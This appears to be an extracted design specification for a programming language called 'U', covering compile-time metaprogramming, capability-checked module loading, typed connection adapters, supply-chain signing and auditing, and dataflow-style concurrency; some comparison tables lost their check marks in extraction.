// bad: Templates.HTML = { content: xss, source: "emails/trusted.html" } ✗
// Templates.HTML is sealed — only html`` and Templates.html() produce genuine values

Comparison — what other languages offer

C++JavaNode.jsDenoU
Runtime module loading
JIT static analysis at load timepartial
Capability checking on load✓ (runtime)✓ (+ compile)
Type-safe module interface✓ (reflection)
Template validation at build time✓ (z f)
Template hot swap with type checkpartial
Runtime provenance verification✓ (sealed + hash)
Typed error on capability denial✓ CapabilityError
The runtime promise: a o("path", { caps }) is a ModuleType+A — a promise that resolves to a JIT-compiled, statically-analysed, capability-checked, type-verified module. The same guarantees you get from static compilation, delivered at runtime on demand. Modules and templates update freely; the compiler runs again at load time; the type system catches breaking changes before the new version is ever executed.
Metaprogramming

Metaprogramming — z f, Module Capabilities, Traits, Middleware

U's metaprogramming system is built on one mechanism: z f functions that run at compile time, take typed functions as arguments, compose freely, and can rewrite call tables. This replaces C macros, C++ template metaprogramming, Python decorators, Objective-C swizzling, and Angular DI — unified, type-safe, zero overhead.

Module declaration — first o in a file

Umodule.u
// Unnamed — FQN from file path (Analytics/HTTP.u → Analytics.HTTP):
o { Network.HTTP, c HttpClient.get }   // runtime cap, compile-time cap
o => { AnalyticsClient }               // o => always required — explicit exports

// Named — overrides file path:
o Analytics.HTTP {
    Network.HTTP,                        // runtime cap
    c http_get: HttpClient.get,          // compile-time cap — alias → target
    c HttpClient.post                    // no alias
}
o => { AnalyticsClient, http_stats }   // own exports under Analytics.HTTP.*
Two output channels: o => { } exports your own symbols under this module's FQN. o { c Class.method } declares mutations to OTHER classes — these land on the target class, not under this FQN. A pure trait module has o => { } empty.

Composing z f — mix c and non-c, before/after hooks, new methods

Utransforms.u
// z f calls z f — same domain rule as a calls a:
z f memoize(func: () -> Data, ttl: I): () -> Data
    r => c memoized_wrapper(func, ttl)

// Mix c and non-c args freely:
z f with_hooks(func: (S) -> Data+A, before: () -> none, after: (Data) -> none): (S) -> Data+A
    r => c hooked_wrapper(func, before, after)

safe_get = c retry(
    c with_hooks(HttpClient.get, log_start, log_end),
    3,
    err => alert(err)              // regular fn — no c needed
)

z f __load__() — module initializer and method replacement

Uapi_module.u
o Api { Network.HTTP, c http_get: HttpClient.get, c HttpClient.post }
o => { ApiClient }

a f raw_get(url: S) -> S   r => a Network.HTTP.get(url)

z f __load__()
    raw_get  = c memoize(raw_get, 60)        // own function — no cap needed
    http_get = c retry(c trace(HttpClient.get, "http"), 3)  // declared cap ✓
    // Compiler verifies: same signature + modifier algebra + error surface ✓
    // Call table rewritten in-place — direct calls everywhere, zero overhead

Traits — Objective-C categories in compile-time U

UTraits/UserSerializable.u
o Traits.UserSerializable {
    c to_json:   User.to_json,    // adds to_json to User
    c from_json: User.from_json,
    c to_csv:    User.to_csv
}
o => { }   // pure trait — no own exports, entire effect is side-effect on User

z f __load__()
    to_json   = c build_serializer(User, "json")
    from_json = c build_deserializer(User, "json")
    to_csv    = c build_serializer(User, "csv")

o Traits.UserSerializable { c User.to_json, c User.from_json, c User.to_csv }
json = user.to_json()   // works — landed directly on User, not Traits.*

Mock injection and memoization

Utest_setup.u
// In test builds — replace real HTTP with a mock, compile-time, type-safe:
z f __load__()
    Network.HTTP.get  = mock_http_get    // same (S) -> S+A signature ✓
    Network.HTTP.post = mock_http_post   // compiler verifies contract ✓
    // No reflection. No @patch. Production binary never sees mock — zero overhead.

// Memoize any function — one line anywhere:
load_config = c memoize(load_config, 300)    // cache 5 min
fetch_user  = c memoize(fetch_user, 60)       // cache 1 min

Writing a z f wrapper — getter from first principles

Design-intent. This section specifies how a signature-preserving z f wrapper is written and what the compile-time subsystem must provide to make it real. It introduces the parameter-pack and type-variable notation the wrapper library depends on. The transpiler parses z f today but the compile-time reflect-and-emit engine described here is in progress; this is the language design these wrappers target.

z memoize above is the one-line form. Writing the wrapper itself needs three pieces of notation, each of which earns its place here:

+F versus (…)->T — two constructs, two phases. These look related but are not the same thing and live at different times. T+F is a runtime value type: "a callable producing T," a first-class function you store, pass, and call at run time, with its input types unspecified (erased). (…)->T is a compile-time metaprogramming construct: it is how a z f function, running at JIT/compile time, receives and re-emits another function's whole signature. The is not a runtime value — it is a compile-time handle to "the parameters, verbatim, including the receiver t," which the z f splices into generated code. So +F erases the input signature (you can hold any callable returning T), whereas (…)->T preserves it exactly — which is precisely what is required to generate a signature-preserving wrapper. A runtime +F value cannot express "same params in, same params out" because it has thrown the input types away; the compile-time pack can, because it carries them. This construct — capturing everything including this and forwarding it whole — is the JIT-metaprogramming tool the wrapper library is built on, and it belongs to the compile-time reflect-and-emit subsystem deferred in the implementation notes (§24), not to the runtime +F that already parses today.
Ugetter.u
// A signature-preserving wrapper: same params in, same params out.
z f getter[T_Out](original: F(…) -> T_Out, options: GetterOptions) -> F(…) -> T_Out
    // At compile time, reflect over the wrapped function:
    //   · its inputs (…), including the receiver, become the cache key
    //   · its effect class (±E / ±D) selects which machinery to emit
    //   · its key type must satisfy Canonical (below), else compile error
    // The emitted wrapper: check cache → on miss call original(…) → store.

// Use — the wrapped function has the identical signature:
fetch_user = c getter(fetch_user, { ms: 60000 })   // (I) -> User+A, cached

The cache key — canonicalization, not a structural hash

When a getter's purpose is to hit an HTTP endpoint and cache the response — the common case — the key cannot be a raw field-order-sensitive hash: two logically identical requests with different in-memory field order must produce the same key, or you cache-miss and issue duplicate calls. The key is therefore a canonical serialization of the inputs. A type satisfies the Canonical bound when it has a stable RFC 8785 (JSON Canonicalization Scheme) serialization — recursively sorted keys, normalized numbers, with out-of-safe-range integers required to be canonical strings. The compiler checks this from the param types at generation time, turning what a runtime cache validates on every call into a single compile-time check: "cannot cache — parameter type is not canonicalizable" is caught once, at the wrapper. Canonicalization is a template-tag domain like sql`` — one module owns the transform — and using the same canonicalizer for cache keys as for signed claims (e.g. an OpenClaiming/RFC-8785 implementation) makes a cached request and a signature over that request byte-consistent.

Effect-class drives what is emitted — and what the cache launders

The ±E/±D algebra determines the caching contract, and a getter caching an HTTP fetch is not memoizing a pure function — the endpoint is ambient mutable state, so the fetch is +E+D. Two contracts result:

Wrapped functionCaching contract
-D (deterministic)Sound permanent memoization — key on inputs, no expiry needed; the answer never changes.
+D+E (a fetch)TTL-bounded best-effort cache — key on the canonical request, expiry required because the result can change. This is the common HTTP case.
The cache launders the effect class — with one honest asymmetry. Within a live cache entry, the wrapped fetch behaves as -E (a cache read has no side effect) and as -D (it returns a fixed value). This is genuinely useful: pure code may depend on cached-fetched data without itself becoming +E — the effect is absorbed at the cache boundary, and the purity propagates upward to callers. The asymmetry to keep honest: the -E laundering is sound (a cache read really has no effect), while the -D laundering is a hint — it holds only until eviction. Determinism is always relative to what is held fixed; a cache holds its entry fixed until eviction, so cache-sourced -D is deterministic-within-that-frame, not intrinsically. The compiler keeps this safe with one rule rather than a frame-tracking type system: permanent memoization is applied only to intrinsic -D (empty frame), never to cache-sourced -D — so a downstream optimization is never stacked permanently on a temporarily-true guarantee. An LLM reading -D on a getter squints at it correctly: treat as deterministic, modulo the cache caveat, which is exactly the right mental model.

Middleware injection — compile-time and runtime

Umiddleware.u
o Middleware.Auth { c Network.HTTP.get, c Network.HTTP.post }  o => { }

z f __load__()
    Network.HTTP.get  = c inject_auth(Network.HTTP.get, Env.token)
    Network.HTTP.post = c inject_auth(Network.HTTP.post, Env.token)

// Static — compile-time:
o Middleware.Auth { c Network.HTTP.get, c Network.HTTP.post }

// Dynamic — runtime JIT, same contract verification:
config.middlewares.on(mw => (a o(mw.path, mw.caps); none))
Better than every prior art. C macros: untyped. C++ TMP: two languages, cryptic errors. Python decorators: runtime overhead, no types. Objective-C swizzling: runtime crashes. Angular DI: runtime only, no contract check. U: compile-time or runtime, full types, same contract enforced at every replacement, non-escalating capability chain, zero overhead.
10.5Adapters

Adapters, Capabilities & Connections

Template tags are not just validators — they are adapters. Each one sits between U's type system and an external system, translating typed inputs to the system's protocol and typed outputs back into U types. The capability declaration is instantiation syntax: you are constructing a capability with a specific connection configuration, not defining a new type.

The adapter as load-bearing module

Every template tag adapter implements a standard compile-time interface:

adapter_interface.u
// What every adapter implements (as z f hooks):
z f __check__(slot: S, type: Type[T]): L         // validate each interpolation site
z f __validate__(template: S): L                  // validate the assembled template
z f __output__(...types): Type[R]                  // determine return type
z f __schema__() -> Schema                         // load external schema at compile time
f   __execute__(compiled: Compiled, params) -> R+A  // translate → call → translate back
AdapterTagsTranslatesCompile-time check
Databasesql, ormTyped params → parameterised query → typed rowsColumn existence, type correctness, join validity
LLMprompt, embedTyped slots → prompt string → __unpack__ to TSlot types, schema compatibility
Wire formatprotobuf, capnprotoU struct → bytes → U structField existence, type compatibility with schema
HTTPfetch, graphqlTyped request → HTTP/gRPC/GraphQL → typed responseEndpoint existence, path variable types
Queuepublish, subscribeU value → serialised message → U valueMessage type correctness, topic existence
SearchsearchTyped query → index query → typed resultsField existence, filter type compatibility

The adapter is the sole responsible party for its domain. Injection safety, schema validation, protocol translation, auth injection, caching, observability — all sealed inside the adapter. App code never touches a wire format or credential.

Capability instantiation — o Module[Connection] { capabilities }

The o line is instantiation, not definition. You are constructing a capability with a specific connection configuration. The { } is a set of capability names — no aliases, no key-value pairs. The [Param] filters down to all capabilities in the set automatically.

capabilities.u
o DB                      { sql, migrate }    // default connection, injected at deploy
o DB[DbConnection.Replica]{ sql }             // Replica connection — [Param] applies to all in {}
o LLM                     { prompt }          // any LLM adapter, injected
o LLM.Anthropic           { prompt }          // pin to Anthropic adapter specifically
o LLM.Anthropic[LLMConnection.Staging]{ prompt } // Anthropic + Staging connection

// { } is a set — c prefix marks compile-time-only capabilities:
o AI { prompt, embed, c validate }          // validate is compile-time only

The type constraint on the module definition ensures the parameter is the right kind of connection. Passing the wrong type is a compile error:

constraint_check.u
// Module definition (inside DB package):
module DB[C : DbConnection]           // C must extend DbConnection
module LLM[C : LLMConnection]         // C must extend LLMConnection

o DB[LLMConnection.Staging] { sql }   // ✗ compile error — wrong connection type
o DB[DbConnection.Replica]  { sql }   // ✓ Replica extends DbConnection

Connection types — enums with fields, inheritance chains

Connections are types — classes with fields — not strings or dictionaries. Each level inherits from its parent and overrides only what differs. The chain can be as deep as needed.

connections.u
// Base connection type — default values for everything
d DbConnection
    dsn:     S
    pool:    I = 10
    timeout: I = 30
    ssl:     L = true

// Cloud variant — larger pool, inherits everything else
d DbConnection.Cloud : DbConnection
    pool: 50

// Replica — inherits Cloud defaults, overrides dsn only
d DbConnection.Cloud.Replica : DbConnection.Cloud
    dsn: "postgres://replica.internal/mydb"

// Archive — slow queries, small pool
d DbConnection.Archive : DbConnection
    dsn:     "postgres://archive.internal/mydb"
    pool:    2
    timeout: 120

// LLM connections — same pattern
d LLMConnection
    api_key:  S          // injected by operator — never a literal in source
    base_url: S
    model:    S
    timeout:  I = 30

d LLMConnection.Staging : LLMConnection
    base_url: "https://staging.api.anthropic.com"
    model:    "claude-sonnet-4-6"
    // api_key: injected by operator, never in source

When there is one binding for a capability, no [Param] is needed at the call site. When multiple bindings exist, the parameter resolves ambiguity:

call_sites.u
o DB                        { sql }   // one binding
sql`SELECT * FROM users`()            // unambiguous — no [Param] needed

o DB                        { sql }   // two bindings — ambiguous
o DB[DbConnection.Replica]  { sql }   //
sql`SELECT...`()                      // ✗ compile error — ambiguous
sql[DbConnection.Replica]`SELECT...`() // ✓ explicit
sql[Default]`SELECT...`()             // ✓ explicit default

The router is the capability

The app never talks directly to a physical database or LLM. The o DB { sql } capability is bound at deploy time to a router — which holds credentials, routing policy, connection pooling, and failover. The app is completely decoupled:

router_pattern.u
o DB { sql }                  // one logical capability
o LLM { prompt }              // one logical capability

sql`SELECT * FROM articles WHERE topic = {topic}`()   // router decides:
// — which physical DB (multi-tenant routing)
// — primary vs replica (read/write split)
// — connection pool management
// — failover on connection error
// App code never changes when any of this changes

a summarize(doc: article.body, n: 40)   // LLM router decides:
// — which provider (Claude, GPT-4, Gemini)
// — routing by cost, latency, capability
// — fallback on provider failure
// API key never in source — lives in the router

Credential files — local/config/*.uc

Concrete connection values (DSNs, API keys, base URLs) live in .uc files inside local/config/ — gitignored by convention and enforced by the compiler. The compiler errors if a concrete *Connection subtype with literal field values appears outside local/config/. You cannot accidentally commit credentials.

project layout
src/
    connections.u       // type skeletons — committed, no values
    main.u
local/                  // gitignored — created by u init
    config/
        db.uc           // concrete DbConnection values — never committed
        llm.uc          // concrete LLMConnection values — never committed
.gitignore
    local/              // added automatically by u init
u.lock                  // dependency hashes — committed
local/config/db.uc
// Same U syntax — fully typed, validated against src/connections.u
// Compiler errors if this file is outside local/config/
d DbConnection.Cloud.Replica : DbConnection.Cloud
    dsn: "postgres://replica.internal/mydb?sslmode=require"

d DbConnection.Archive : DbConnection
    dsn:     "postgres://archive.internal/mydb"
    pool:    2
    timeout: 120
The pit of success for secrets. The default — a single o DB { sql } declaration — has no credentials in source anywhere. Adding a second connection requires a .uc file in local/config/. Writing credentials in a .u file outside that folder is a compile error. The unsafe path requires actively circumventing the system. Rotating credentials means updating the router config or .uc file — never touching source code, never redeploying the app.

Reusable wrapped function variables

Assign a compiled template function to a variable, wrap it with z f decorators, and reuse it anywhere. Libraries can return pre-wrapped getters — the caller gets memoisation, debounce, and batching in one line.

getters.u
// Library: build a memoised, debounced, batched getter from any query
f make_getter[T](query: F(I) -> T+A) -> F(I) -> T+A
    r => c memo(c debounce(50, c batch(100, query)))

// App: assign once — fully typed, fully wrapped
get_profile = make_getter[Profile](
    sql`SELECT * FROM users   WHERE id = {id: I}`
)
get_article = make_getter[Article](
    sql`SELECT * FROM articles WHERE id = {id: I}`
)
get_summary = make_getter[S](
    c memo(prompt`Summarize {doc: S} in {n: I} words`)
)

// Call anywhere — identical to any other function
profile = a get_profile(42)
article = a get_article(id)

The cache key for c memo is derived automatically: the compile-time function hash (from the bundle Merkle tree) plus a hash of the typed inputs. Changing the query or prompt changes the function hash and busts the cache correctly — no manual cache invalidation.

wrappers.u
// z f wrappers compose freely — applied at compile time, zero runtime overhead
fetch_user = c retry(3,
               c timeout(5000,
                 c trace("db.user",
                   sql`SELECT * FROM users WHERE id = {id: I}`)))

// Same pattern for LLM calls
summarize = c memo(
              c retry(2,
                c rate_limit(10,
                  prompt`Summarize {doc: S} in {n: I} words`)))

// The wrapped function has the same type as the unwrapped one
// summarize: F(doc: S, n: I) -> S+A  — interface unchanged

EVM chains — connection enums per ecosystem

Different blockchains are different connection enum values. Each chain inherits from a base and overrides only what differs. The same template tag works across all chains — the connection enum selects the target.

evm_connections.u
d EVMConnection
    chain_id:   I
    rpc_url:    S           // injected by operator — never in source
    block_time: I = 12

d EVMConnection.Ethereum  : EVMConnection   // chain_id: 1,   block_time: 12
d EVMConnection.Polygon   : EVMConnection   // chain_id: 137, block_time: 2
d EVMConnection.Base      : EVMConnection   // chain_id: 8453, block_time: 2
d EVMConnection.BSC       : EVMConnection   // chain_id: 56,  block_time: 3

// L2s inherit from L1 and override chain_id + block_time:
d EVMConnection.Arbitrum  : EVMConnection.Ethereum
    chain_id:   42161
    block_time: 1          // 1-second blocks, everything else from Ethereum

d EVMConnection.Goerli    : EVMConnection.Ethereum
    chain_id: 5            // testnet — same shape as mainnet
evm_app.u
o EVM                           { eip712, abi }  // any chain, injected at deploy
o EVM[EVMConnection.Ethereum]   { eip712 }        // pin to mainnet
o EVM[EVMConnection.Polygon]    { eip712 }        // pin to Polygon

// Same template, different chain — compile-time ABI validation on both
eip712[EVMConnection.Ethereum]`
    Transfer { to: {recipient: S}, value: {amount: I} }
`()

eip712[EVMConnection.Polygon]`
    Transfer { to: {recipient: S}, value: {amount: I} }
`()

// Multi-chain bridge — explicit params disambiguate
a f bridge(amount: I, from: EVMConnection, to: EVMConnection) -> TxHash+A
    lock   = a eip712[from]`Lock   { amount: {amount: I} }`()
    a eip712[to]`Mint { amount: {amount: I}, proof: {lock.proof: S} }`()

The pattern works identically for any ecosystem that has chain variation: Substrate chains (PolkadotConnection.Kusama), Cosmos zones, Solana clusters (SolanaConnection.Mainnet / .Devnet). Each ecosystem defines its own *Connection base type. The capability system, connection inheritance, and .uc credential files all work the same way.

One mechanism, every external system. Database adapters, LLM routers, EVM chains, message queues, HTTP APIs — all use the same pattern: define a *Connection type hierarchy, instantiate the capability with o Module[Connection] { tags }, wrap compiled functions with z f decorators, assign to typed variables, reuse freely. No special cases. No framework required.
24Formal

Formal Guarantees

Every safety claim in U is backed by a proved theorem in the formal calculus λ_U.

#TheoremWhat it proves
1Modifier-Optimization CorrespondenceEach annotation is a sound compiler transformation license: -R→stack alloc, -M→no sync, -N→no null check, +A→exact coroutine frame
2ARC-FreedomWell-typed -R programs contain zero heap allocations or ARC operations
3Race-FreedomWell-typed programs have no data races
4Proxy SafetyEvery +R +M mutation passes through a proxy satisfying its declared policy
5Type SoundnessWell-typed programs do not get stuck (Progress + Preservation)
6Red-Blue FreedomAll functions may call all functions without async annotation change
7Constant-Time SuspensionSuspension frame contains exactly the +A-annotated live values — no more
8Signature CompletenessFunction signatures are machine-verified contracts for all three modifier dimensions
9Template SafetyAll {expr} in html/sql/msg are escaped at compile time — injection is a type error
10Localization CompletenessMissing locale keys and placeholder mismatches are compile-time type errors
11Stack-Frame Confinement-R values passed to -R functions cannot be retained beyond the call
12Compilation CorrectnessCompilation to C/WASM preserves semantics and places -R on stack, +R on heap
13Domain Oracle+V/+C/+A domain decisions are exact reads of type annotations — no analysis needed
14.on() SafetyAll .on() iterations are bounded, non-invalidating, and bounds-safe
15Conditional Completeness&, |, ?? are expressively complete for all conditional patterns
16Unsafe Convention SoundnessPrograms with no ! suffixes have no out-of-bounds, divide-by-zero, or unchecked overflow
Security

Module Security — Integrity, Signing, and Audit

U's safety guarantees extend from the type system all the way to the module supply chain. The cap system tells the compiler what a module can touch; the signing system tells you whether that module is what it claims to be. Neither is optional in production.

The threat model

Metaprogramming makes supply chain attacks more dangerous than in ordinary languages. A module loaded with c Auth.check_token can replace your authentication. The cap declaration makes this visible — but visibility alone is not enough if the module's bytes have been tampered with between publish and install.

AttackMitigated by
Malicious module replacing uncapped methodCap system — caller must explicitly grant c cap
Supply chain — module replaced on disk/registryu.lock hash verification
Compromised maintainer accountM-of-N signing — one account breach is not enough
Silent registry substitutionTransparency log — every publish event is publicly immutable
Unbounded runtime cap surfacedynamic_grantable whitelist in root module
Second-stage payload in z fz f purity — no I/O, no network at compile time
Cap escalation through sub-loadingNon-escalation — loader can only grant caps it already holds

Layer 1 — dynamic_grantable: bounding the runtime cap surface

The root module pre-declares every c cap that any dynamically loaded module can ever receive. This creates a single audit point: one block, one file, complete picture.

Umain.u — root module
o App {
    Network.HTTP,
    Database.Postgres,
    dynamic_grantable: [          // ONLY these c caps can ever be granted via a o()
        c Network.HTTP.get,
        c Network.HTTP.post,
        c Logger.log
    ]
}
o => { main }

// Anywhere in the codebase:
a o("auth", { c Network.HTTP.get })  // ✓ in dynamic_grantable
a o("rogue", { c Crypto.hash })      // ✗ compile error — not pre-declared

Layer 2 — u.lock: module identity

Every module — static and dynamic — is fingerprinted. u install writes the lock file. u verify checks it in CI. A module whose bytes don't match its recorded hash never loads.

TOMLu.lock — auto-generated, always commit
# Static imports:
[module."Analytics.HTTP"]
hash     = "sha256-a3f8b29c4d1e7f..."
version  = "1.4.0"
required_sigs = 2
sigs     = ["[email protected]:sha256:3f7a...", "[email protected]:sha256:8c2d..."]
log_url  = "https://u.registry/log/12345"

# Dynamic loads — must be pre-registered:
[dynamic."auth_middleware"]
hash     = "sha256-b1c4d7e2f3a8..."
required_sigs = 2
sigs     = ["[email protected]:sha256:7d2e...", "[email protected]:sha256:1b3f..."]
log_url  = "https://u.registry/log/12346"
If a dynamic path appears at runtime that is not in u.lock → hard error. No unknown modules can ever execute, even if the path string is constructed at runtime. u install must pre-register every possible dynamic path value.

Layer 3 — M-of-N signing: cap-driven trust thresholds

The cap surface determines how many independent reviewers must sign before a module can be installed. No committee needed — the registry policy is automatic:

Module declaresRequired signaturesRationale
No c capsM=1, N=1 (author only)Low risk — no call table modifications
c Logger.*M=1, N=2One independent reviewer
c Network.*M=2, N=3Security-sensitive — two reviewers
c Auth.*M=2, N=3Authentication-critical
z Crypto.*M=3, N=5Highest sensitivity
c *.public_methodsM=4, N=7Wildcard — near-impossible intentionally

A logging module that quietly adds c Auth.check_token to its caps suddenly needs 2-of-3 signatures. That friction is the security — cap inflation is automatically expensive.

shellu publish workflow
# Author submits — not yet installable:
u publish                           # uploads draft, registry computes required sigs from caps

# Designated reviewers audit source and sign:
u cosign [email protected]      # reviewer 1 — runs u audit, reviews __load__
u cosign [email protected]      # reviewer 2 — M=2 reached → module goes live

# All signatures logged to public transparency log — immutable:
# https://u.registry/log/Auth.Middleware/1.2.3

# Consumer:
u install Auth.Middleware           # verifies hash + sig count + transparency log
u verify                            # CI step — all four checks, hard stop on any failure

Layer 4 — Root hash: program identity

The root hash is a Merkle tree over the entire dependency graph — your source plus every dependency's hash, recursively. One hash = one immutable fingerprint of the complete program.

shellroot hash
u hash                              # sha256-7f3a9b2c4d...

# Covers:
#   main.u bytes
#     └── [email protected]  (hash + 2 sigs)
#     └── [email protected] (hash + 2 sigs)
#          └── [email protected] (hash + 1 sig)

u diff sha256-7f3a9b2c sha256-4d1e8f3a  # what changed between two deployments?
# Auth.Middleware: line 47 modified
# u.lock: Analytics.HTTP 1.4.0 → 1.4.1

Change a comment in any transitive dependency → root hash changes. Identical root hashes means identical bytes across the entire tree, provably.

Layer 5 — u audit: static security linter

A full security posture report without running the program. Reads source, u.lock, and dynamic_grantable.

shellu audit --root-hash sha256-7f3a9b2c
✓  All dynamic loads registered in u.lock
✓  All a o() caps within dynamic_grantable
✓  z f functions call only z f (purity)
✓  Non-escalation: no a o() grants exceed caller caps
✓  All modules meet signing threshold for their cap surface
⚠  Auth.Middleware claims c Auth.check_token — high sensitivity, verify manually
⚠  2 dynamic paths are runtime variables — ensure all values pre-registered

Cap modification surface (complete):
  Network.HTTP.get  ← Analytics.HTTP.__load__ → Auth.Middleware.__load__
  Network.HTTP.post ← Auth.Middleware.__load__
  Logger.log        ← Logging.Tracer.__load__

Composition chain for Network.HTTP.get:
  original → z trace(...) → z retry(...,3) → c inject_auth(...)

Security score: A-  (2 warnings, 0 errors)
Pinned to: sha256-7f3a9b2c4d...  (immutable — auditable by LLM or human reviewer)
LLM auditing via root hash. Point any LLM at sha256-7f3a9b2c and it can reconstruct the full module tree from u.lock, read every cap declaration, trace every z f __load__() chain, and produce a security review pinned to an exact, immutable code state. "We audited sha256-7f3a9b2c, signed by Alice and Bob" is a verifiable statement anyone can reproduce. This is fundamentally different from auditing a mutable codebase — the hash makes the audit a permanent artifact.

Comparison with existing ecosystems

npmCargoPyPIU
Hash lockfile
Required signing✓ M-of-N
Cap-driven threshold✓ automatic
Transparency log✓ required
Root program hash
Static cap auditu audit
Bounded runtime surfacedynamic_grantable
28Composition

Everything Together — Composability & the Pit of Success

U's type system is not a collection of independent safety features bolted together. Promises, events, exceptions, ownership, and iteration are all expressions of the same underlying model. The pit of success means the natural thing to write is also the correct thing. These scenarios show why.

Scenario 1 — Fetch, fanout, collect, handle

The classic parallel fetch. In JavaScript this requires Promise.all(), .catch(), and careful attention to which errors propagate where. In U the types enforce the structure.

Ufanout.u
d Article { title: S, body: S, author: S }

a f load_dashboard(ids: [I])
    // Error policy declared upfront — happy path reads clean below
    e.on(MyLib.network_policies)    // typed array: [log, notify, retry]
    e.on((err: NotFoundError) => show_empty())

    // Start N concurrent fetches — map returns [Article +A]
    pending: [Article+A] = ids.map((id) => a fetch_article(id))

    // Await all — input order preserved, time = max not sum
    articles: [Article] = pending.all()

    // Any rejected fetch_article → NetworkError → e.on() fires above
    // No .catch(), no try/catch, no Promise.all().catch() dance
    render(articles)

Scenario 2 — Race with fallback

Try the cache first; if it times out, fall back to the network. The winner takes it. The loser is ignored. .any() returns T +N +A — nullable because nothing might win.

Urace-fallback.u
a f load_config() -> Config
    e.on((err: NetworkError) => r => Config.defaults())

    cache  = a fetch_from_cache()  // Config+N+A — inferred
    remote = a fetch_from_network() // Config+N+A — inferred

    winner: Config+N+A = [cache, remote].any()
    r => winner ?? Config.defaults()

Scenario 3 — Event stream with typed dispatch

A UI component subscribes to events, each handler typed. Error handling is a separate concern registered before the event logic. RAII closes the subscription when the component is destroyed.

Uevents.u
d ClickEvent { x: I, y: I, button: I }
d ResizeEvent { width: I, height: I }

d Canvas+R(RAII)
    clicks:  ClickEvent+A+R
    resizes: ResizeEvent+A+R

    f __cleanup__(canvas: Canvas+R)   // fires when last ref drops
        canvas.clicks.unsubscribe()   // cleanup automatic

canvas: Canvas+R = Canvas.create()

// Error policy for canvas event handlers
e.on((err: RenderError) => log_and_skip(err))

canvas.clicks.on((evt) => paint(evt.x, evt.y))
canvas.clicks.on((evt) => log_interaction(evt))
canvas.resizes.on((evt) => relayout(evt.width, evt.height))
// No unsubscribe logic — RAII handles it when canvas scope exits

Scenario 4 — Shared state with concurrent workers

Multiple coroutines read a config that can be hot-reloaded. MVCC means readers never block. The policy is declared once on the binding; callers need no locking code.

Umvcc.u
config: AppConfig+R+M(MVCC) = AppConfig.load()

// N concurrent workers — all reading config simultaneously
pending: [Result+A] = jobs.map((job) => a run_job(job, config))
results: [Result]   = pending.all()

// Hot-reload fires while workers are running
config.reload()   // MVCC: new version; in-flight workers see old version
// No mutex, no lock, no blocking. Policy handles it.

Why this is the pit of success

Default is safe

Zero annotations = stack-allocated, immutable, non-null, synchronous. The safest possible program requires no effort. Complexity is opt-in via modifiers.

One mechanism, many contexts

.on() handles events, errors, iteration, and policy registration. .all() and .any() handle promise collections. T +N is nullable everywhere. No special cases.

Error handling is a preamble

e.on(policies) before the happy path. Policies are typed arrays — reusable across 100 call sites. The happy path reads as if errors don't exist, because the compiler verified they're covered.

Type-indexed dispatch

Events, errors, and promises all dispatch by type. No string names. No untyped catch-all. The compiler knows exactly what types flow through every channel at every call site.

Policy declared once

RAII, MVCC, Actor, ARC — declared at the binding site. Every consumer gets the right behavior automatically. No per-call locking code, no per-call cleanup code.

Full stack preserved

Stackful coroutines. Exceptions carry the complete trace from main through every intermediate caller. Unlike JavaScript where await destroys call context.

30Insight

The Program IS the Graph

In U, +A values are edges and coroutines are nodes. The scheduler merely follows readiness. Which means the program becomes a demand-driven dataflow graph — automatically, without a separate graph language.

Udag-emergence.u
x = a compute_x()     // node x
y = a compute_y()     // node y
z = a combine(x, y)  // node z — edges from x and y emerge automatically
w = a render(z)      // node w — edge from z

//  x ──┐
//       z ── w
//  y ──┘

// No graph.add_edge(x, z). No indegree counters.
// No Kahn's algorithm. The graph IS the program.

This places U in the company of systems built explicitly around DAG execution:

SystemDAG languageHow graph is declared
SpreadsheetsCell formulasFormula references (=A1+B1) declare edges explicitly
TensorFlow 1.xPython graph APItf.add(x, y) — explicit node construction
DaskPython delayed APIdask.delayed(f)(x, y) — explicit deferral
Make / BazelBuild DSLSeparate file declaring targets and dependencies
Airflow / PrefectDAG DSL + YAMLDecorator-annotated Python + DAG object construction
RxJSObservable operatorsObservable pipeline — separate reactive graph DSL
UNone — it's just codea f(x, y) — the assignment declares the edge

Every other system requires a second representation: a graph object, a DSL, a YAML file, a decorator. U has one representation — the program. The +A type is both the runtime mechanism and the edge declaration. There is no duplication.

Streams are infinite DAGs — reactive falls out

Ureactive.u
prices: Price+w+A             // a stream — infinite sequence of Price values
prices.on(update_ui)           // transform: every new Price → update_ui

// That's it. That's reactive programming.
// No Observable. No subscribe(). No RxJS. No Combine.
// prices is a node. update_ui is an edge. The scheduler follows readiness.

// Compose: transform a stream through a pipeline
filtered  = prices.filter((p) => p.change > 0.05 ? none ! false)
formatted = filtered.map((p) => format_price(p))
formatted.on(update_ui)
// prices → filter → map → update_ui : a reactive pipeline, written as ordinary U

Imperative programs become declarative accidentally

The most striking aspect: you are not trying to build a DAG. You are writing ordinary sequential-looking code. The DAG emerges because:

So the runtime discovers topological order by executing the program itself. The scheduler is not running Kahn's algorithm on a graph object you built — it is Kahn's algorithm, embodied in the suspension and resumption of coroutines. The program is the graph traversal.

The lambda calculus parallel.

Lambda calculus doesn't need an explicit graph algorithm because β-reduction already defines the graph. Evaluation order falls out of the substitution rules. You don't declare a dependency graph and then reduce it — you reduce expressions and the dependency graph is the trace of that reduction.

Likewise, U doesn't need Kahn's algorithm because suspension and value dependencies already define the topological ordering. The scheduler doesn't run an algorithm on a data structure you built — it executes code and the data structure emerges as a side effect of that execution.

One program, five interpretations

Ufive-interpretations.u
a = load_config()      // step 1
b = load_schema()      // step 2
c = build(a, b)        // step 3 — depends on a and b
d = render(c)          // step 4 — depends on c

This same code is simultaneously:

The interpretation depends only on which values are +A. No second representation. No framework import. No scheduler DSL. No Airflow YAML. No Rx graph. The policy is in the type. The graph is in the code. They are the same thing.

This is the factorization that keeps appearing in U. The same e.on() is error handling, event dispatch, and promise resolution depending on type. The same o is module import and capability declaration. The same template tag is compile-time validator and runtime producer. And the same sequential program is a dependency graph, a dataflow graph, and a build system — depending only on +A. Each time: one representation, multiple interpretations, no duplication.